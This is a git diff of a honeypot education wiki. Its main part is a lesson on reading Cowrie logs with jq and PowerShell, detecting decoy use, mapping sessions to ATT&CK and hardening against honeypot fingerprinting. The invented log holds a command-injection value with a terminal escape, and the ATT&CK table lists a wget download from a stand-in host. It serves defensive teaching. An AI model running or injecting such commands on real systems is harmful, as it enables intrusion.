+They add to 27, so 28 lines minus 1 broken line. `command.input` leads because one visit ran five commands. (PowerShell 7 may turn the `timestamp` strings into dates in your own time zone; the counts are the same. Add `-DateKind String` to `ConvertFrom-Json` in PowerShell 7.5 or newer to keep them as text.)
+
+**Undo.** Nothing.
+
+## Exercise 3: who guessed what, from where
+
+`tojson` writes each value as a quoted JSON string, which escapes quotes and control characters. Use it every time you print a field a visitor controls.
+
+**Predict.** Which source tried the most wrong logins? Does any user name and password pair appear twice?
+
+**Do.**
+
+```bash
+# failed logins per source
+jq -rR 'fromjson? | objects | select(.eventid=="cowrie.login.failed") | .src_ip' cowrie.json | sort | uniq -c | sort -rn
+# user name and password pairs
+jq -rR 'fromjson? | objects | select(.eventid=="cowrie.login.failed") | [.username, .password] | map(tojson) | join(" ")' cowrie.json | sort | uniq -c | sort -rn
+```
+
+```powershell
+$events | Where-Object eventid -eq 'cowrie.login.failed' | Group-Object src_ip | Sort-Object Count -Descending | Select-Object Count, Name
+$events | Where-Object eventid -eq 'cowrie.login.failed' |
+    Group-Object { ConvertTo-Json -Compress -InputObject @($_.username, $_.password) } |
+    Sort-Object Count -Descending | Select-Object Count, Name
+```
+
+**Check.** `203.0.113.7` has 5, `198.51.100.23` has 1 and `192.0.2.66` has 1. Every pair appears once, so on a log this small there are no repeats; on a real log that is where the common pairs show up. Compare with the public numbers in [lesson 7](Deception-and-Honeypots-Cloud-Sensor-Anatomy.md#what-arrives-from-a-public-dataset) before you read anything into yours.
+
+**Undo.** Nothing.
+
+## Exercise 4: what they typed, and why not to print it raw
+
+**Predict.** One visitor's command contains a terminal escape sequence. What happens if you print it with `jq -r`?
+
+**Do.**
+
+```bash
+# commands per session, made safe to print
+jq -rR 'fromjson? | objects | select(.eventid=="cowrie.command.input") | "\(.session) \(.input | tojson)"' cowrie.json
+# the same field printed raw, with control characters made visible
+jq -rR 'fromjson? | objects | select(.eventid=="cowrie.command.input") | .input' cowrie.json | cat -v | tail -n 1
+```
+
+```powershell
+$events | Where-Object eventid -eq 'cowrie.command.input' |
+    ForEach-Object { '{0} {1}' -f $_.session, (ConvertTo-Json -Compress -InputObject ([string]$_.input)) }
+```
+
+**Check.** The first command prints eight lines; the last one is `d4d4d4d4 "x\"; $(touch /tmp/pwned) \u001b[2J {\"eventid\": \"cowrie.login.success\"}"`, with the escape written out as `\u001b`. The second prints that same command with the escape shown as `^[[2J`; without `cat -v`, your terminal would have **acted** on `ESC [2J` (clear the screen) instead of showing it. Nothing in the text ran: `$(touch /tmp/pwned)` is only characters in a field, and `ls /tmp/pwned` finds no such file. Two habits again: print attacker-controlled fields through `tojson` (or `cat -v`), and never paste a field into a shell command.
+
+**Undo.** Nothing.
+
+## Exercise 5: who touched the decoy
+
+Your decoy is a file and a credential. Two kinds of touch: someone **read the file** (a `cat` of its name in a command), and someone **used the credential** (a login attempt with the invented user name). The credential was made at run time, so the filter takes it from the lure file instead of having it written into the lesson.
+
+**Predict.** Which visitors read the file, and which used the credential? Are they the same one?
+
+**Do.**
+
+```bash
+# lure file read
+jq -cR 'fromjson? | objects | select(.eventid=="cowrie.command.input" and (.input | contains("deploy-notes-OLD"))) | {src_ip, session, input}' cowrie.json
+# lure credential used
+user=$(sed -n 's/^user: //p' lure/deploy-notes-OLD.txt)
+jq -cR --arg u "$user" 'fromjson? | objects | select(.username == $u) | {eventid, src_ip, session}' cowrie.json
+```
+
+```powershell
+$events | Where-Object { $_.eventid -eq 'cowrie.command.input' -and $_.input -like '*deploy-notes-OLD*' } | Select-Object src_ip, session, input
+$user = (Select-String -Path lure\deploy-notes-OLD.txt -Pattern '^user: (.*)$').Matches[0].Groups[1].Value
+$events | Where-Object { $_.username -eq $user } | Select-Object eventid, src_ip, session
+```
+
+**Check.** The file was read by `203.0.113.7` (session `a1a1a1a1`, the command `cat /home/phil/deploy-notes-OLD.txt`), and the credential was used by `192.0.2.66` (session `d4d4d4d4`, a `cowrie.login.failed`). Different visitors. In this track the credential works only against the sensor, so a use on a real log tells you somebody read the file and tried it, and it tells you nothing about any other system.
+
+**Undo.** Nothing.
+
+## Exercise 6: reuse the detector from lesson 5
+
+The detector in [lesson 5](Deception-and-Honeypots-Alerts-in-the-SIEM.md#exercises) was written for exactly this shape: it parses each line, compares `eventid`, `src_ip` and `timestamp`, drops what does not fit and counts it. Save its `detect.py` in this folder and run it on the log.
+
+**Predict.** Visit A made five wrong guesses and then an accepted login. Which rules fire? Will visit D's single failed login with the lure credential fire anything?
+
+**Do.**
+
+```bash
+python3 -I detect.py cowrie.json; echo "exit=$?"
+```
+
+```powershell
+py -3 -I detect.py cowrie.json
+$LASTEXITCODE
+```
+
+**Check.**
+
+```text
+dropped: {"not_json": 1, "too_long": 0, "bad_shape": 0}
+{"rule": "brute_force", "level": 10, "mitre": "T1110 Brute Force", "src_ip": "203.0.113.7", "at": "2026-01-01T12:00:06.000000Z"}
+{"rule": "success_after_brute_force", "level": 12, "mitre": "none (honeypot-specific)", "src_ip": "203.0.113.7", "at": "2026-01-01T12:00:08.000000Z"}
+exit=0
+```
+
+Both rules fire for `203.0.113.7`. The lure visit does not: one failed login is not five. That is the gap exercise 5 fills: the lure filters are **new rules**, and they should alert on a single event, because nobody legitimate has a reason to read the decoy. On a real log, expect the detector's `too_long` count to be above zero: it drops any line over 4,096 bytes, and Cowrie's `cowrie.client.kex` lines (lists of algorithms) are the likely long ones (est.; the author has seen no real line). Decide whether to raise the limit, with a reason.
+
+For a SIEM, the same three ideas (a chain after failures, a read of the lure, a use of the lure credential) are the rules to write, keyed on `eventid`, as the draft in lesson 5 does. Whether Wazuh's JSON decoder handles Cowrie's real lines, and how the file reaches the manager, is **not tested** in this track: lesson 5's rules were never loaded into a manager, and the design's pull-only log path to Wazuh is not covered by lessons 7 to 9. That part remains later work.
+
+**Undo.** Nothing.
+
+## What they did, mapped to ATT&CK
+
+In a real log the commands carry the technique. The invented session A is a small example of how to read it. These mappings are the author's reading of the technique pages (read 2026-10-22), not Cowrie's labels:
+
+| Command in session A | Likely technique (the id is in the link) |
+|---|---|
+| `uname -a`, `cat /proc/cpuinfo` | [System Information Discovery](https://attack.mitre.org/techniques/T1082/) |
+| `cat /home/phil/deploy-notes-OLD.txt` | [Unsecured Credentials: Credentials In Files](https://attack.mitre.org/techniques/T1552/001/) (it went looking for a credentials file) |
+| `wget http://example.com/x.sh ...` | [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105/) (an attempt to bring in a file; with outgoing traffic closed it fails and the log says so) |
+| `passwd` | [Account Manipulation](https://attack.mitre.org/techniques/T1098/) (changing a credential; compare the ISC finding in lesson 7 that most scripted sessions end up changing the password) |
+| Five wrong guesses | [T1110 Brute Force](https://attack.mitre.org/techniques/T1110/), as in lesson 5 |
+
+The accepted login is **not** [T1078 Valid Accounts](https://attack.mitre.org/techniques/T1078/): the account is not real. It is a honeypot event.
+
+## Exercise 7: your own sensor's logs (your own account)
+
+This is the part that needs lesson 8. Pull the logs as in lesson 8 exercise 7, then read the real file. The commands are the same, with the path changed and your own visits taken out:
+
+```bash
+ME=203.0.113.10    # your public address, from lesson 8
+# visits that are not yours
+jq -rR --arg me "$ME" 'fromjson? | objects | select(.eventid=="cowrie.session.connect" and .src_ip != $me and .src_ip != "127.0.0.1") | .timestamp' cowrie/cowrie.json | sort | head -n 1
+# top user names, safe to print
+jq -rR --arg me "$ME" 'fromjson? | objects | select(.eventid=="cowrie.login.failed" and .src_ip != $me) | .username | tojson' cowrie/cowrie.json | sort | uniq -c | sort -rn | head -n 10
+```
+
+```powershell
+$Me = "203.0.113.10"
+$events = Get-Content cowrie\cowrie.json | ForEach-Object {
+    try { $e = $_ | ConvertFrom-Json -ErrorAction Stop } catch { return }
+    if ($e -is [pscustomobject] -and $e.eventid) { $e }
+}
+$events | Where-Object { $_.eventid -eq 'cowrie.session.connect' -and $_.src_ip -ne $Me -and $_.src_ip -ne '127.0.0.1' } |
+    ForEach-Object { (Get-Date $_.timestamp).ToUniversalTime().ToString('o') } | Sort-Object | Select-Object -First 1
+$events | Where-Object { $_.eventid -eq 'cowrie.login.failed' -and $_.src_ip -ne $Me } |
+    Group-Object { ConvertTo-Json -Compress -InputObject ([string]$_.username) } | Sort-Object Count -Descending | Select-Object -First 10 Count, Name
+```
+
+(Rotated files sit next to `cowrie.json`; run the same filter over each, or join them first.) **Check.** The first command prints the time of the first visit that was not yours; subtract your lesson 8 `T_open` and write that **time to first attempt** down. The second shows the user names visitors tried. Compare both with the ISC's published numbers in lesson 7, and say in one sentence where they differ and one reason why a single sensor over a weekend is a poor sample. Then write your summary as **counts only**: no addresses, no passwords, no raw lines. Raw logs stay on your computer and are deleted on your retention date.
+
+## Flip the board: how a visitor spots Cowrie, and how you harden it
+
+Now you are the visitor. The sensor is software that imitates a machine, and imitations leave marks. Each row below was read from Cowrie's own files or a published analysis on 2026-10-22; the right-hand column says what you can change.
+
+| Tell | Where it comes from | What you can do |
+|---|---|---|
+| A user called `phil` | The FAQ: "The default Cowrie user is called `phil` these days. Having the same user always available is an easy way to identify Cowrie, so it's recommended to change this." The built-in login list also accepts `phil` with any password. | Rename the user in the fake file system (`fsctl`, `mv /home/phil /home/NAME`) and in `/etc/passwd` (the FAQ shows both), and write your own `etc/userdb.txt`. |
+| `root` logs in with nearly any password | The built-in list accepts `root` with any password except `root`, `123456` and anything containing "honeypot" (and the shipped example does much the same). | A stricter `userdb.txt`, or no root. Trade-off: fewer accepted logins means fewer sessions to read. |
+| Credentials that should never work, work | The ISC diary of 2026-04-08: visitors try values such as `definitely_not_valid_creds` and `youjustgotindexed`; if one succeeds, they know. The diary notes Cowrie's random-login mode can make odd pairs work. | Keep the list strict. Treat a success on such a pair as a **detection**: it is visit C in the invented log, and exercise 5's filter style catches it. |
+| Banners that disagree with each other | The default file sets the SSH banner to `SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u3`, but the `ssh -V` text inside the shell to `OpenSSH_7.9p1, OpenSSL 1.1.1a  20 Nov 2018`, the kernel to `6.1.0-21-amd64` (a 2024 build date), and the README says the bundled file system resembles "a Debian 5.0 installation". Several different eras in one machine. | Make `[ssh] version`, `[shell] ssh_version`, `kernel_version`, `kernel_build_string` and the hostname tell one story. You cannot change the old file system's age without rebuilding it (Cowrie documents `createfs` and `fsctl`). |
+| Commands that real systems answer and the imitation cannot | The ISC diary of 2024-07-11: attackers read the first bytes of `/proc/self/exe` with `dd` or `cat`, copy a file into `/dev/shm`, or run an odd marker command, "to eliminate some honeypots as this command will not work in simulations like cowrie". | Little. This is the limit of a program that imitates a system. Log it; it is information (visit C). |
+| Packages that "install" | The ISC diary of 2026-04-08: if a bogus package installs, "the attacker knows they are connected to a honeypot". | Nothing cheap. It is what an imitation does. |
+| The SSH algorithm list | The same diary: some attackers "look for SSH artifacts, such as the number and types of ciphers supported". The default configuration lists the ciphers Cowrie offers. | The config has `ciphers`, `macs` and `compression` settings (est. effect on the tell). |
+
+Some of these you can fix and some you cannot, which is the honest answer. The ISC analyst's own view, in the same diary, is that they are "mostly interested in internet-wide scans" and "not going to detect targeted attacks or zero days", and that hiding the honeypot may not be worth the effort. For a lesson, the goal is not to be invisible. It is to know which visits were **testing** you, and to log them.
+
+### Exercise 8: find the tells in your own configuration
+
+**Predict.** Will the default configuration, as shipped, give a consistent picture of one machine? Count the different years and versions you expect.
+
+**Do.** Read the default settings from the Cowrie repository (read-only, no sensor needed):
+
+```bash
+curl -sL https://raw.githubusercontent.com/cowrie/cowrie/HEAD/src/cowrie/data/etc/cowrie.cfg.dist -o cowrie.cfg.dist
+grep -n -E '^(hostname|kernel_version|kernel_build_string|ssh_version|version) *=' cowrie.cfg.dist
+```
+
+```powershell
+Invoke-WebRequest https://raw.githubusercontent.com/cowrie/cowrie/HEAD/src/cowrie/data/etc/cowrie.cfg.dist -OutFile cowrie.cfg.dist
+Select-String -Path cowrie.cfg.dist -Pattern '^(hostname|kernel_version|kernel_build_string|ssh_version|version) *='
+```
+
+**Check.** On 2026-10-22 the default branch printed `hostname = svr04`, `kernel_version = 6.1.0-21-amd64`, `kernel_build_string = #1 SMP PREEMPT_DYNAMIC Debian 6.1.90-1 (2024-05-03)`, `ssh_version = OpenSSH_7.9p1, OpenSSL 1.1.1a  20 Nov 2018` and `version = SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u3`: an SSH 9.2 banner on the wire, a 7.9 text in the shell. (The file changes with the project; yours may differ.) **If you have a sensor** (est.), also look at what the wire shows, using your own client against your own sensor with keys off: `ssh -v -o PubkeyAuthentication=no -p 22 root@SENSOR 2>&1 | grep -i 'remote software version'`, and inside the shell `ssh -V` and `cat /etc/passwd`. Then edit your configuration so the story agrees, restart, and look again.
+
+**Undo.** `rm cowrie.cfg.dist`. A configuration change on a running sensor is a restart of the honeypot, which is also a change to the exposed system: do it in a window, and note it in your plan.
+
+## Build, break, detect, evade, defend
+
+- **Build.** The invented log, the `jq` and PowerShell reads, the lure filters, and (if you built one) your own log summary.
+- **Break.** Make the read fail: add a line that is `5`, one that is `null`, one that is an array, one cut in half, one with a missing `eventid`. Which commands survive, and which stop? Fix one. (`objects` and `fromjson?` are the fixes you have already used.)
+- **Detect.** Three rules for the lure visits, each alerting on a **single** event: a command that names the decoy file, a login with the decoy user, and an accepted login whose password matches a "should never work" list. Write them in `jq` first, then say how a SIEM would key on the same `eventid` and field. Add a fourth: a visit that stops after the first command (a probe, like visit C).
+- **Evade.** A visitor who knows the tells in the table stays away, or arrives with credentials that are not on any list. Your lure rule never fires, and silence means "nobody swung by", not "nobody was here". Write that sentence in your plan so you do not read the quiet as safety.
+- **Defend.** Close the gaps you can: rename `phil`, align the banners, tighten the login list. Write down the gaps you cannot, and keep the guardrails from lesson 7 as the real defense, since the imitation is not.
+- **Flip the board.** Done above. One more turn: you read a published honeypot log that lists one address as an "attacker". What would you need to know before you called that address bad? (Lesson 6: it is often somebody else's machine.)
+
+## Common mistakes
+
+| Mistake | Why it hurts | Better |
+|---|---|---|
+| `jq .` on the whole file. | One broken line ends the read, silently on a pipe. | Read line by line: `jq -R` with `fromjson?` and then `objects`, as in exercise 2. |
+| `jq -r .input` to a terminal. | Control characters act on your terminal. | `tojson` or `cat -v`. |
+| Matching a substring of the whole line. | A visitor puts your match text in a field. | Compare a parsed field (lesson 5). |
+| Counting your own visits. | Your tests inflate the numbers and move the "first attempt". | Exclude your address and loopback. |
+| Reading the silence of a lure as safety. | A careful visitor avoids it. | The sentence in the "Evade" step above. |
+| Posting a raw log or an address list. | Other people's data, and the addresses often belong to victims. | Counts and redacted examples only. |
+
+## Claims register
+
+Retrieved 2026-10-22 unless stated.
+
+| Claim | Source | Status |
+|---|---|---|
+| Shared event attributes, `protocol`/`src_port`/`dst_ip`/`dst_port` on connection events, and the event ids and fields in the table | [Cowrie output documentation](https://docs.cowrie.org/en/latest/_sources/OUTPUT.rst.txt) | Read |
+| JSON log on by default, at `var/log/cowrie/cowrie.json`; rotating log type; the ssh/shell/kernel/hostname defaults quoted in the fingerprint table | [Cowrie default configuration](https://raw.githubusercontent.com/cowrie/cowrie/HEAD/src/cowrie/data/etc/cowrie.cfg.dist) | Read on the default branch, which is newer than release 3.1.3 by an unknown amount. Exercise 8 reprints the lines |
+| The default user is `phil`; changing it needs both the fake file system and `/etc/passwd`; the built-in login list | [Cowrie FAQ](https://raw.githubusercontent.com/cowrie/cowrie/HEAD/docs/FAQ.rst), [Cowrie source, `core/auth.py` at v3.1.3](https://raw.githubusercontent.com/cowrie/cowrie/v3.1.3/src/cowrie/core/auth.py), [example login list](https://raw.githubusercontent.com/cowrie/cowrie/HEAD/src/cowrie/data/etc/userdb.example) | Read |
+| The bundled file system "resembling a Debian 5.0 installation" | [Cowrie README](https://raw.githubusercontent.com/cowrie/cowrie/HEAD/README.rst) | Read. That it still is so in release 3.1.3 is **est.** |
+| Attackers read `/proc/self/exe`, copy to `/dev/shm`, or use marker commands to test for a simulation | [ISC diary, "Understanding SSH Honeypot Logs: Attackers Fingerprinting Honeypots"](https://isc.sans.edu/diary/Understanding+SSH+Honeypot+Logs+Attackers+Fingerprinting+Honeypots/31064), 2024-07-11 | Read. One analyst's observation, and "I believe" is the diary's own hedge on the purpose |
+| Visitors use credentials that should not work; packages that appear to install; cipher lists; the analyst's view on hiding | [ISC diary, "More Honeypot Fingerprinting Scans"](https://isc.sans.edu/diary/More+Honeypot+Fingerprinting+Scans/32878), 2026-04-08 | Read |
+| 1,206,566 sessions from six sensors, 2022 to 2026, and the shares in lesson 7 | [ISC diary, "DShield (Cowrie) Honeypot Stats and When Sessions Disconnect"](https://isc.sans.edu/diary/DShield+Cowrie+Honeypot+Stats+and+When+Sessions+Disconnect/32840), 2026-03-30 | Read |
+| Technique names for the four linked techniques, and for Brute Force and Valid Accounts (ids in the table above) | [MITRE ATT&CK](https://attack.mitre.org/techniques/T1082/) and the pages for the other ids | Names read; which technique a given command maps to is the author's reading |
+| The synthetic log, the `jq` filters and the lesson 5 detector's output on it | Run on Linux with `jq` 1.7 and Python 3.13.5 on 2026-10-22 | Run. PowerShell: **est.** |
+| `cowrie.client.kex` lines are long enough to be dropped by the lesson 5 detector | None | **est.**: no real line was seen |
+| Wazuh ingestion of real Cowrie lines | None | **UNVERIFIED**: not tested in this track |
+
+Not verified, plainly: any real Cowrie log; every PowerShell command; the PowerShell 7 date handling beyond the note in exercise 2; whether `ConvertTo-Json` of an array behaves the same on 5.1 and 7; the sensor checks in exercises 7 and 8; the effect of changing `ciphers`.
+
+Next: back to the [track hub](Deception-and-Honeypots-Start-Here.md).

+ 4 - 2
docs/wiki/Deception-and-Honeypots-Safety-and-Law.md

@@ -27,7 +27,7 @@ The word "honeypot" covers two kinds of activity with very different risk.
 | What goes wrong | A false alarm; a service that holds your email address. | It is taken over and used against other people; your account is closed; your address is blocked; the machine becomes a route into your network. |
 | Safety lesson | The minimums below that apply to data and privacy. | All eight. |
 
-This track's lessons 1 to 6 involve **only the left column**. The right column is the subject of tracks 2 and 3, which are separate later lessons ([what they will need](Deception-and-Honeypots-Start-Here.md#tracks-2-and-3-what-they-will-need)). This page exists so that nobody drifts from the left column to the right one without noticing.
+This track's lessons 1 to 6 involve **only the left column**. The right column is the subject of tracks 2 and 3. Track 2, a cloud sensor in your own account, now has its lessons ([anatomy of a cloud honeypot](Deception-and-Honeypots-Cloud-Sensor-Anatomy.md) is the first); track 3 is a later lesson ([what they will need](Deception-and-Honeypots-Start-Here.md#tracks-2-and-3-what-they-will-need)). This page exists so that nobody drifts from the left column to the right one without noticing.
 
 ## The eight minimums
 
@@ -51,7 +51,9 @@ Every hands-on lesson that exposes a decoy to strangers repeats these. They come
 | 3: a canary token | 6 (invented data), 7 (privacy of what the service sees) and 8 (a stop: delete the token) | Nothing is exposed to strangers. |
 | 4: honeyfiles | 6, 7 (what your watcher records), 8 | A watcher on your own folder. |
 | 5: a rule in the SIEM | 6 (synthetic data only), 7 | The events are made up at run time. |
-| Any internet-facing sensor | All eight | This is where the risk lives. |
+| 8: a cloud sensor in your own account | All eight | This is where the risk lives. |
+| 9: reading the logs | 6 (invented data in the exercises) and 7 (raw logs stay private) | The exercises run on invented lines; with a real sensor's logs, 7 applies in full. |
+| Any other internet-facing sensor | All eight | Same reason. |
 
 ## Counter-hacking, in plain terms
 

+ 16 - 5
docs/wiki/Deception-and-Honeypots-Start-Here.md

@@ -1,10 +1,10 @@
 # Deception and honeypots: start here
 
-The hub for a small track of lessons on **deception**: planting things that nobody legitimate should touch, and watching them. A foundations side page to [Detection, Wazuh and the landscape](Detection-and-Monitoring-Wazuh-and-the-Landscape.md); read that page first. This hub covers **track 1**, which needs no honeypot and no server. Track 3, the path for your own hardware, is two more pages: [Design a honeynet](Deception-and-Honeypots-Design-a-Honeynet.md) and [T-Pot at home](Deception-and-Honeypots-T-Pot-at-Home.md). Track 2 is a separate later lesson, and the [last section](#tracks-2-and-3-what-they-will-need) says what it will need. Next: [What deception is](Deception-and-Honeypots-What-Deception-Is.md), lessons 1 and 2.
+The hub for a small track of lessons on **deception**: planting things that nobody legitimate should touch, and watching them. A foundations side page to [Detection, Wazuh and the landscape](Detection-and-Monitoring-Wazuh-and-the-Landscape.md); read that page first. This hub covers **track 1**, which needs no honeypot and no server; **track 2**, three lessons on a cloud honeypot you run in your own account (the theory is free; the hands-on lesson uses your provider bill); and **track 3**, the path for your own hardware, two more pages: [Design a honeynet](Deception-and-Honeypots-Design-a-Honeynet.md) and [T-Pot at home](Deception-and-Honeypots-T-Pot-at-Home.md). The [last section](#tracks-2-and-3-what-they-will-need) lists lessons 7 to 11 in order and says what each track needs. Next: [What deception is](Deception-and-Honeypots-What-Deception-Is.md), lessons 1 and 2.
 
 > Unfamiliar word or acronym? The [Glossary](Glossary.md) defines it.
 
-> **Status: track 1 is written; parts of it were run once, and the track-wide limits are below.** On **2026-10-21** the author ran the Linux and Python exercises on one machine (Python 3.13.5, curl 8.21.0, `inotifywait` 4.23.9.0), and each lesson says exactly what it ran. **Not run anywhere in the track:** every PowerShell command (marked **est.**), the hosted canarytoken service, the audit-framework examples, and every Wazuh rule (the rule file is an unverified draft that was never loaded into a manager). Nothing in the track is built into this repository's cloud environment, and no honeypot exists there. Nothing was priced beyond what the [register](#claims-register) cites.
+> **Status: track 1 is written; parts of it were run once, and the track-wide limits are below.** On **2026-10-21** the author ran the Linux and Python exercises on one machine (Python 3.13.5, curl 8.21.0, `inotifywait` 4.23.9.0), and each lesson says exactly what it ran. **Not run anywhere in the track:** every PowerShell command (marked **est.**), the hosted canarytoken service, the audit-framework examples, and every Wazuh rule (the rule file is an unverified draft that was never loaded into a manager). Nothing in the track is built into this repository's cloud environment, and no honeypot exists there. Nothing was priced beyond what the [register](#claims-register) cites. **Track 3** (lessons 10 and 11) was written from reading and not run on a real T-Pot; each page says what it ran. **Track 2** (written 2026-10-22) was read from the Cowrie and DigitalOcean documentation and **never built or run**: only its lure script, its invented-log exercises (Python and `jq`) and a syntax check of its host firewall file were run; each of its three pages says exactly what.
 
 > **Prerequisites.** [Detection, Wazuh and the landscape](Detection-and-Monitoring-Wazuh-and-the-Landscape.md) and, from the foundations pages, [The terminal and your first script](Terminal-and-Your-First-Script.md) (for the exercises). About 8 to 10 hours of learner time across all six lessons (est.). Cost: none for track 1.
 
@@ -41,14 +41,24 @@ Read them in this order. Lesson 6 comes before the hands-on lessons on purpose:
 
 ## Tracks 2 and 3: what they will need
 
-Track 2 is a **separate later lesson**, not written yet. Track 3 now has two pages ([Design a honeynet](Deception-and-Honeypots-Design-a-Honeynet.md) and [T-Pot at home](Deception-and-Honeypots-T-Pot-at-Home.md)), written from reading and not run on a real T-Pot; the table below still describes what each track needs, and nothing on this page should be read as a recipe for track 2. The [education plan](https://github.com/ChiefGyk3D/Clouds-Against-Humanity/blob/main/docs/superpowers/specs/2026-10-22-honeypot-education-plan.md) lays out both, with lesson titles, times and the gates described below.
+**Tracks 2 and 3 are written; track 3's lesson 12 (T-Pot to the SIEM) is deliberately not.** None of these pages deploys anything from this repository: they show the steps and you run them in your own account or on your own hardware. The lessons, in numeric order:
+
+| Order | Lesson | Page | What it covers | Time (est.) | Hands-on |
+|---|---|---|---|---|---|
+| 6 | 7: anatomy of a cloud honeypot | [Anatomy of a cloud honeypot](Deception-and-Honeypots-Cloud-Sensor-Anatomy.md) | The nine guardrails, the provider's acceptable-use policy, what it costs and what is not a spending cap, what visitors do (public data) | 1.5 h | Paper (free) |
+| 7 | 8: Cloud Cowrie for a weekend | [Cloud Cowrie for a weekend](Deception-and-Honeypots-Cloud-Cowrie-Weekend.md) | Teardown first, two firewalls, a moved management port, Cowrie install, a decoy credential in its fake file system, a bounded run, a pull of the logs | 3 to 4 h plus the window | **Your own cloud account and bill** |
+| 8 | 9: read what arrived | [Read what arrived](Deception-and-Honeypots-Read-the-Sensor-Logs.md) | Cowrie's JSON log read with `jq` and PowerShell, the decoy touches, the lesson 5 detector reused, how visitors spot Cowrie and what you can change | 3 to 4 h | Invented logs (free); your own logs if you ran lesson 8 |
+| 9 | 10: design a honeynet | [Design a honeynet](Deception-and-Honeypots-Design-a-Honeynet.md) | An isolated segment on paper and in a checker: who may reach the decoy machine, what it may reach, how you manage it | see the page | Paper and a checker on your computer |
+| 10 | 11: T-Pot at home | [T-Pot at home](Deception-and-Honeypots-T-Pot-at-Home.md) | T-Pot, a free all-in-one honeypot bundle: what it listens on, what it sends to others by default, an internal-only run | see the page | **Your own hardware**; written from reading, not run on a real T-Pot |
+
+Lesson 9's exercises 1 to 6 use invented logs, so they need no account. Sending the sensor's logs into Wazuh (the education plan's own lesson 9) is **not covered**: it is untested, and the pages say so. Lesson 12, getting T-Pot's events into a SIEM, is not written, because T-Pot's README does not document it. The [education plan](https://github.com/ChiefGyk3D/Clouds-Against-Humanity/blob/main/docs/superpowers/specs/2026-10-22-honeypot-education-plan.md) lays out both tracks, with lesson titles, times and gates.
 
 | Aspect | Track 2: a cloud sensor | Track 3: an on-premises honeynet |
 |---|---|---|
 | What it is | A Cowrie honeypot (an imitation SSH server) on a small cloud server in your own, separate cloud account, for a bounded time. | T-Pot CE, an all-in-one honeypot bundle, on an isolated network segment, internal only at first. |
 | Theory path (free) | A read-through of the merged [honeypot design](https://github.com/ChiefGyk3D/Clouds-Against-Humanity/blob/main/docs/superpowers/specs/2026-10-21-honeypot-design.md). | A paper design of a honeynet and a read of T-Pot's README. |
 | Hands-on needs | **Your own cloud account and its provider bill.** Written provider consent. A separate account that holds nothing else. Closed outgoing traffic. A written end date and a kill switch. All eight [minimums](Deception-and-Honeypots-Safety-and-Law.md#the-eight-minimums). | **Your own hardware** meeting T-Pot's README sizes: 16 GB RAM and a 256 GB SSD for the main node, 8 GB and 128 GB for a sensor, as listed in its README. **A separate, verified-isolated network** with no route to anything you care about. All eight minimums. |
-| What it costs you | The design prices a sensor server at $6 a month (`s-1vcpu-1gb` in `docs/cost-prices.json`, retrieved 2026-10-21) and, if you keep logs, a $5 log bucket, $11 in all, while it runs (design section 8.1). A weekend is a fraction of that. These are the design's figures, not a quote for your account. | New hardware cost is $0 if you already own a suitable machine (est.); otherwise unpriced, as no prices were read. Electricity is unmeasured. |
+| What it costs you | The design prices a sensor server at $6 a month (`s-1vcpu-1gb` in `docs/cost-prices.json`, retrieved 2026-10-21) and, if you keep logs, a $5 log bucket, $11 in all, while it runs (design section 8.1). A weekend is a fraction of that. These are the design's figures, not a quote for your account. The track 2 lessons use the $6 server only, with no bucket. | New hardware cost is $0 if you already own a suitable machine (est.); otherwise unpriced, as no prices were read. Electricity is unmeasured. |
 | Why it is gated | The reference environment spends nothing on it until the design is approved. You do not need that approval, but the provider's policy and the minimums are yours to follow. | The isolated network has to exist and be verified first. T-Pot also sends attack data to a community project by default, which a lesson must switch off before first start. |
 | Not recommended | Opening a machine to the internet from a flat home network. | Putting T-Pot on the internet; the README's advice to forward ports 1 to 64000 is not recommended for a first run. |
 
@@ -64,8 +74,9 @@ Retrieved 2026-10-21 unless stated.
 | A sensor server costs $6 a month and a log bucket $5; $11 together; option E keeps $6 | `docs/cost-prices.json` (`s-1vcpu-1gb`: 6, retrieved 2026-10-21) and [honeypot design, section 8.1](https://github.com/ChiefGyk3D/Clouds-Against-Humanity/blob/main/docs/superpowers/specs/2026-10-21-honeypot-design.md) | The $6 read in the price file; the $5 bucket is the design's figure, which cites a repository note. Prices change; check before relying on them |
 | T-Pot's sizes: the main node (Hive) 16 GB RAM and 256 GB SSD, a sensor 8 GB and 128 GB; the installation wants an outgoing, non-filtered internet connection; data is submitted to a community project by default and can be switched off by removing a service | [T-Pot README](https://raw.githubusercontent.com/telekom-security/tpotce/HEAD/README.md), default branch | Read. A lesson must pin one release and re-read that release's README; the default branch is ahead of the latest tag (24.04.1 when read) |
 | How T-Pot's data reaches Wazuh | Not documented in the README | Untested and **UNVERIFIED** |
+| Track 2: the Cowrie and DigitalOcean facts, the dataset figures, the commands | The registers of the three track 2 pages, read 2026-10-22 | Read; the cloud and Cowrie steps were never run |
 | The reading order and the safety-first rule | The education plan's risk table (the safety lesson is a prerequisite of every hands-on lesson) | Read in this repository |
 
-Not verified, plainly: everything in tracks 2 and 3 beyond what the plan and the design say; any prices other than the one read.
+Not verified, plainly: everything in track 3 beyond what the plan and the design say; every cloud and Cowrie step in track 2 (see its pages); any prices other than the ones read.
 
 Next: [What deception is](Deception-and-Honeypots-What-Deception-Is.md), lessons 1 and 2. Or return to the [Reading order](Reading-Order.md).

+ 1 - 1
docs/wiki/DigitalOcean-Network-and-Firewalls.md

@@ -51,7 +51,7 @@ flowchart TB
 
 </details>
 
-DigitalOcean evaluates all firewalls attached to a droplet together: traffic is allowed if any attached firewall allows it, and denied otherwise. That is why the two can be layered: the baseline guarantees "nothing in", the connector firewall adds only what connectors need.
+DigitalOcean evaluates all firewalls attached to a droplet together: allow rules add up, so traffic is allowed if any attached firewall allows it, and denied otherwise. Deny rules, which the provider's firewall documentation (read 2026-10-22) says it now supports, take precedence over allow rules, including across firewalls. The firewalls in this project use allow rules only. ([Cloud Cowrie for a weekend](Deception-and-Honeypots-Cloud-Cowrie-Weekend.md#the-plan-addresses-ports-and-two-firewalls) records the sources.) That is why the two can be layered: the baseline guarantees "nothing in", the connector firewall adds only what connectors need.
 
 > **Screenshot to take yourself:** the Networking, Firewalls screen in the DigitalOcean control panel.
 > Capture: the two firewalls and the rules screen of one of them, with the inbound and outbound tabs each in frame.

+ 3 - 0
docs/wiki/Glossary.md

@@ -72,6 +72,7 @@ Every term the wiki uses, in plain language, with a pointer to the page that exp
 | **Controller** | Twingate's hosted coordinator: configuration, sign-in, signed ACLs. Never carries traffic. [Twingate: the four pieces](Twingate.md#the-four-pieces) |
